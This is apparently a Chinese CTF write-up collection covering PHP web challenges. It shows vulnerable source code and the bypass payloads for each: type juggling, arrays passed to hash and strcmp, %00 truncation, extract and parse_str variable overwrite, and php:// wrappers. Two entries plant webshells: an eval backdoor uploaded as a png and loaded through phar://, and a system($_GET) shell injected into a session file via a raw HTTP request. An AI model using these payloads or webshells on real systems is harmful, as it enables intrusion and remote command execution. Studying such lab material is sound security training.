
尝试下载flag.php,源码如下:
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="this_is_encrypt_key";
//g5jPoHql1N/MuGplep+jpHSZkrmiq4Wrr6mrfcOEYqyprcdwf6fLyN8=
从名字可知到有两个函数,一个加密encrypt,一个解密decrypt
最后根据函数构造payload即可
<?php
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="this_is_encrypt_key";
$data="g5jPoHql1N/MuGplep+jpHSZkrmiq4Wrr6mrfcOEYqyprcdwf6fLyN8=";
echo decrypt($data,$key);
?>
<?php
if(is_numeric($_GET['1']) && $_GET['1']=="255"){
if(strstr($_GET['1'],"255")==False){
$flag;
}
}
show_source(__FILE__);
传入的变量1需要两个条件,一个条件是需要是数字255才可以,而另一个条件是不等于255
is_numeric()会将数字,数字字符串,科学计数法的数字,十六进制的数字都认为是数字。而后面的数值比较是使用的弱比较,就是说会将不同类型的两个值转换成一个类型再进行比较,如果1的值是十六进制,则会将十六进制的值转换成十进制再进行比较。
故此题可用16进制构造payload:http://localhost/?1=0xff

代码示例
<?php
error_reporting(0);
if (isset($_GET['name']) and isset($_GET['password'])) {
sha1($_GET['name']) . "";
sha1($_GET['password']) . "";
if ($_GET['name'] == $_GET['password'])
'Your password can not be your name!
';
else if (sha1($_GET['name']) == sha1($_GET['password']))
$flag;
}
highlight_file(__FILE__);
?>
由代码可知,条件是name和password不能相等,但是他们的sha1的值要相等
这里可以sha1无法计算数组的特性来进行绕过,payload:?name[]=1&password[]=2

代码示例
<?php
if (isset($_POST['name']) && isset($_POST['password'])) {
if ($_POST['name'] == $_POST['password']) {
echo '用户名和密码不能相同';
} else if (md5($_POST['name']) == md5($_POST['password'])) {
die('Flag: ' . $flag);
} else {
echo '密码错误';
}
} else {
echo '请登录';
}
?>
由代码可知,name与password的值不能相等,但是他们的MD5需要相等
利用MD5函数无法处理数组的特性来进行绕过,payload: SangFor{XlR0R_Aixi9e0toz}

示例
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
if (isset ($_POST['pwd'])){
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '不对哦,再猜.
';
$_SESSION['pwd']=time().time();
}
}else{
$_SESSION['pwd']=time().time();
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="提交"/>
<br>提示:源码有惊喜哦~<br/>
</form>
</body>
</html>

分析代码逻辑,提交的密码 pwd 和 session 中存储的pwd 的值相等即可出 flag ,但session会随时间的变化而变化
当 sessionid 为服务器中不存在的sessionid 时,获取的相应数据也为 NULL ,如果我们传入的 pwd 为 null ,则成功绕过比较。
使用burpsuite截取数据包,修改 PHPSESSID 的值为空,并令 pwd 也为空

源代码:
<?php
error_reporting(0);
$password="***************";
if(isset($_POST['password'])) {
if (strcmp($_POST['password'], $password) == 0) {
$flag;
} else {
"Wrong password..";
}
}
highlight_file(__FILE__);
?>
strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1>str2,则返回正数。
根据代码逻辑,需要比较 P O S T [ ‘ p a s s w o r d ’ ] 和 _POST[‘password’]和 POST[‘password’]和password的值,而$password的值无从得知。但由于php代码在比较时使用了弱比较,并且strcmp传入的期望类型是字符串类型的数据,但是如果传入非字符串类型的数据的时候,这个函数将发生错误但却判定其相等
payload:password[]=1

源代码:
<?php
include('flag.php');
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
'This time is too long.';
}else{
sleep((int)$_GET['time']);
$flag;
}
}
show_source(FILE);
?>
先检测是否通过 GET 方式传递一个非 NULL 的 time 值,如果有,则执行 if 里的语句。先判断了 times 的值是否为数字,如果不为数字,就返回“必须输入数字”;如果 times 的值小于 60 * 60 * 24 * 30 * 2 = 5184000 ,则返回“时间过短”;如果 time的值大于 60 * 60 * 24 * 30 * 3 = 7776000,则返回“时间过长”;否则将 time 的值转换成整型后休眠这么多秒后返回 flag 。
其中 is_numeric() 会将数字,数字字符串,科学计数法的数字,十六进制的数字都认为是数字。可以注意到 times的值是需要介于两个月到三个月的秒数。而强制转换成整型函数 int() 会将小数点以后的数字去掉。所以我们可以使用科学计数法绕过,输入“?time=6e6”,则会休眠6秒后返回 flag 。
payload: ?time=6e6
源代码
<?php
error_reporting(0);
include("flag.php");
if (isset($_GET['p1'])){
if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
else{
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo $flag;
break;
default :
echo "2333333";
break;
}
}
}
}
}
highlight_file(__FILE__);
?>
分析代码逻辑:
payload:?p1=1e8&&p2=2aaa
json_decode()函数是PHP中的内置函数,用于解码JSON字符串。它将JSON编码的字符串转换为PHP变量。 <?php
include('flag.php');
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
"flag";
}
else {
"fail";
}
}
else{
"~~~~";
}
show_source(__FILE__);
?>
分析代码逻辑,传入一个变量message,并且是json类型的字符串,然后json_decode()函数将其解析成字符串,其中一个变量key的值和原码中的$key值相等,输出flag。
$key的值无法获取,只能考虑利用0==“string”这种形式绕过。所以传入message={“key”:0}就能够绕过了。
payload:
POST:
message={"key":0}
源代码:
<?php
header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) {
if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
echo '说好的数字呢?';
else if (strpos ( $_POST['num'], '#tag' ) !== FALSE)
die ( 'Flag: ' . $flag );
else
echo '你的数字不太符合我的心意哦!';
}
?>
<html>
<head>
<title>猜密码</title>
</head>
<body style="text-align: center">
<center>
<img src="num.png"/>
<form action="index.php" method="post">
<input type="text" name="num" /> <input type="submit" value="提交" />
</form>
</center>
<!-- index.php.txt -->
</body>
</html>
分析代码,首先参数以post方式传入,再看条件,第一个if,ereg函数的作用是正则匹配,此处是要求传入的参数只能为单个或多个数字,结果才能为true,接下来与FALSE进行强比较,结果为FALSE,所以跳过执行下一个判断条件。再看else if,strpos函数的作用是查找后一个字符串在前一个字符串中第一次出现的位置,没有找到的话返回false,找到了话返回true,如果子字符串位于字符串的第一位则会返回0,为了区分0和false,所以需要用强等,=或者!。
综上要想得到flag,首先输入的必须为数字,其次里面必须要有#tag,最终才能输出flag,但是明显两个条件不可能同时满足,因此寻找两个处理函数的漏洞才有可能得到flag。
经过查找资料,得到了两个函数的特性:
payload
payload1数组绕过
POST:
num[]=1
payload2%00截断
POST:
num=1%00#tag

源码:
<?php
error_reporting(0);
include('flag.php');
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '数字或者字母
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
$flag;
}
else
{
'再想想呢
';
}
}
else
{
'password不正确!
';
}
}
highlight_file(__FILE__);
?>
分析代码首先判断如果有定义通过GET方式传递的变量password,则进入if内的语句。用正则表达式“1+$”匹配password,如果不匹配,返回“数字或者字母”;否则,如果password的长度小于8 或者password大于9999999,并且password中有“ - ”字符串则返回flag。
因为ereg函数存在%00截断漏洞,就是说ereg会把%00当成是字符串的结尾,%00之后的字符串就不进行匹配了。但是strpos并不存在此漏洞。至于长度限制可以使用科学计数法进行绕过。
payload:?password=9e9%00*-*

array_search函数可以在数组内寻找某个键值,如果找到就返回键名,未找到就返回false。
源码:
<?php
include('flag.php');
highlight_file(__FILE__);
if(!is_array($_GET['SXF'])){exit();}
$SXF=$_GET['SXF'];
for($i=0;$i<count($SXF);$i++){
if($SXF[$i]==="admin"){
echo "error";
exit();
}
$SXF[$i]=intval($SXF[$i]);
}
if(array_search("admin",$SXF)===0){
echo $flag;
}
else{
"false";
}
?>
分析代码逻辑,三个if条件很是苛刻,前两个if分别要求参数test传入的值必须是数组且数组内不能有“admin”,然后第三个条件就要求通过array_search(“admin”,$SXF)判断。
而我们知道,array_search()与in_array()一样,会类型进行强制转换,那么当我们传入时,中的判断就相当于,最终等式成立返回匹配成功的数组元素的下标0,满足“===”,得到flag。
payload:?SXF[0]=0

首先访问靶机,来到一个空页面

用dirseach扫描得到upload.php,include.php两个新文件
其中include.php含有文件包含漏洞,可以使用 include.php?file=php://filter/read=convert.base64-encode/resource=upload 来读取源码

分别解密得到源码
upload.php
<form action="" enctype="multipart/form-data" method="post" name="upload">
File: <input type="file" name="file" /><br>
<input type="submit" value="Upload" />
</form>
<?php
if (!empty($_FILES["file"])) {
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) {
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "File upload successful! Saved in: upload/" . $_FILES["file"]["name"];
} else {
echo "Upload failed!";
}
}
?>
include.php
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
$file = @$_GET["file"];
if (isset($file)) {
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file, "..") !== FALSE || strlen($file) >= 70) {
echo " error!
";
} else {
include($file . '.php');
}
}
?>
但是 include.php 限制了后缀只能是 .php,这里还不能截断
再看upload.php,限制了只能上传图片
这里唯一可用的就是 phar:// 这个协议了
生成shell文件
创建shell.php,写入后门代码
<?php @eval($_REQUEST['hack']);highlight_file(__FILE__);?>
将其压缩为zip,然后将文件名后缀修改为png上传即可


用蚁剑连接即可
include.php?file=phar://upload/shell.png/shell
//这里的shell指的是压缩包的shell.php

源码:
<?php
error_reporting(0);
function check($file){
$black=array("../", "..\\");
foreach($black as $value){
if(strstr($file, $value)){
die("得了吧");
}
}
}
header("set-cookie: sourceCode.txt");
$user = $_GET["name"];
$file = $_GET["file"];
if(isset($user)&&(file_get_contents($user,‘r’)===“welcome to the SangFor”)){
echo “hello admin!<br>”;
check($file);
include($file);
}
else {
echo "you are not admin ! ";
}
?>
根据源码存在两个变量, u s e r 和 user和 user和file。
在if条件判断中,传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。
file_get_contents() 函数把整个文件读入一个字符串中。
file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:
?name=php://input
POST:
welcome to the SangFor

源码:
<?php
$p1 = @$_GET['a'];
$p2 = @$_GET['b'];
$p3 = @$_GET['c'];
$p4 = @$_GET['d'];
if(isset($_GET['a']) && isset($_GET['b']) && isset($_GET['c']) && isset($_GET['d']))
if($p1 != $p2 && md5($p1) == md5($p2)){
if($p3 === file_get_contents($p4)){
echo file_get_contents("flag.php");
}
}
else{
die("请输入2个不同的值");
}
highlight_file("index.php");
payload:
/?a[]=1&b[]=2&c=4&d=php://input
post:
4

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数等.
源码:
<?php
include('flag.php');
if ($_SERVER["REQUEST_METHOD"] == “POST”)
$SangFor = "666";
$SXF = "2333";
extract($_POST);
if ($SangFor === $SXF) {
$flag;
}
else{
"咋回事呢?";
}
highlight_file(__FILE__);
?>
extract该函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。
由此可以通过POST方法覆盖变量$SangFor,将其变量值覆盖为2333,来构造if条件判断为真,即可输出flag。

源码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die();
}
eval("var_dump($$args);");
}
else{
"yyds";
}
?>
正则过滤:
两个//表示开始和结束
^表示开始字符串
$表示结束字符串
\w表示包含[a-z,A-Z, _ , 0-9]
+表示一个或者多个\w
就是限定一个任意长字符串全部由字母数字组成,前面中间后面都不能有空格、标点等非\w字符
如果args的值是只由大小写字母数字和下划线,则执行eval(“var_dump($$args)”)。
通过提示“flag在变量里”,想能不能通过打印所有变量的值来获得flag。
这里介绍一个超全局变量$GLOBALS,它可以引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同。我们尝试输入“?args=GLOBALS”获得flag;payload:http://localhost/?args=GLOBALS

parse_str(string,array)
把查询字符串解析到变量中
例如
$a = "name=SangFor&age=666";
parse_str($a,$b);
echo $b['name']."\n";
echo $b['age'];
#输出结果
//SangFor
//666
源码:
<!--
$he ='Spring';
$flag = "**********";
parse_str($_GET['SangFor']);
if ($he =="Moon"){
echo $flag;
}
-->
分析代码可知,需要以POST方法传入v1,以GET方法传入v3
变量he值为字符串“Spring”,然后通过parse_str将通过GET方式传递的Moon参数的字符串解析到变量中。
由于parse_str存在变量覆盖漏洞,尝试输入?SangFor=he=Moon获得flag。
payload:?SangFor=he=Moon
源码:
<?php error_reporting(0);
$j="gan de piao liang ";
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])) {
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL) {
$action = $parsed_query['action'];
}
if($action==="auth") {
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key) {
die("
");
}
echo $flag;
}
} else {
show_source(__FILE__);
}
?>
由代码可知,需要满足一下条件
构造payload:action=auth&key=swzaq&hashed_key=07e599430c991fd44f41e7658b8816143ba7ce316c3a503291bacc82f1b569ee
<?php
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
echo $flag;
}else{
"no";
}
highlight_file(__FILE__);
?>
PHP所使用的preg_match()函数从用户输入字符串获得参数,如果所传送的值为数组而不是字符串就会生成警告,警告消息中包含有当前运行脚本的完整路径。
payload:?id[]=1
intval($_GET['id']); 输出1is_numeric($_GET[‘id’]) 不存在preg_match(’/\d/is’, $_GET[‘id’]) 不为1源码:
<?php
include "flag.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER['REQUEST_URI']);//$_SERVER[“REQUEST_URI”]函数是预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量
$url = parse_url($url, PHP_URL_QUERY);//REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径。而parse_url()函数是对$url进行解析,PHP_URL_QUERY是指解析字符串,即?后面的内容。
if (preg_match("/_/i", $url))
{
die("...");
}
if (preg_match("/0/i", $url))
{
die("...");
}
if (preg_match("/w+/i", $url))
{
die("...");
}
if(isset($_GET['_']) && !empty($_GET['_']))
{
$control = $_GET['_'];
if(!in_array($control, array(0,$number1)))
{
die("fail1");
}
if(!in_array($control, array(0,$number2)))
{
die("fail2");
}
if(!in_array($control, array(0,$number3)))
{
die("fail3");
}
echo $flag;
}
show_source(__FILE__);
?>
源码首先检查URL查询字符串中是否包含下划线(_)、数字0(0)或模式w+,有则输出’…’
符合三个数组的值,而三个数组唯一可以确定相同的值只有0。
parse_url 提取的是查询字符串部分,正本题是 ? 后面的内容。如果使用 ///,parse_url可能导致解析错误或结果为 NULL。
这可以被利用来绕过一些基于 parse_url 结果的检查。
in_array 在没有指定第三个参数时,会进行弱类型比较。0。?_=a)来绕过 in_array 的检查,因为 'a' 会被转换为 0。///?_=a
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');//只容许访问这两个目录
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);//创建函数
include($file);//文件包含漏洞
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
call_user_func具有变量,攻击者可以控制此变量来自定义创建函数
通过构建extract函数来更高file的值进行变量覆盖来触发文件包含漏洞
?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php但是function.php和admin.php并没有flag的值,又有网站目录限制
但是可以控制session文件再通过文件包含漏洞进行webshell
因为每一个sessid对应一个sess_的缓存文件
sess_的缓存文件存放文字大概如下:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
捉包,将其改为post提交方式,写入后门木马和payload
数据包:
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: mntlzd2m4dsbw1ai.ctfw.edu.sangfor.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=119a580e62aa1451684ee277a30e40b5
DNT: 1
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 41
name=<?php echo "aaa";system($_GET[x]);?>

后门触发payload:
http://mntlzd2m4dsbw1ai.ctfw.edu.sangfor.com.cn/index.php?function=extract&file=/tmp/sess_119a580e62aa1451684ee277a30e40b5&x=ls```

2.
a-zA-Z0-9 ↩︎